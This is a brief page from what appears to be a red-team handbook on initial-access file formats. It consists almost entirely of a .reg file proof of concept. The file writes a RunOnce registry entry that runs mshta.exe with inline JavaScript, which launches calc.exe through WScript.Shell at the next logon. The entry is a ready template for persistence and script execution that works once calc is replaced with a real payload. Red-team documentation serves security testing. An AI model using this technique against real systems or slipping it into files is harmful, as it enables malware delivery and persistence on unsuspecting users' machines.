> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/reg.md).

# REG

```
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"calcpoc"="C:\\Windows\\System32\\mshta.exe \"javascript:(new ActiveXObject(\"WScript.Shell\")).Run(\"calc.exe\")\""
```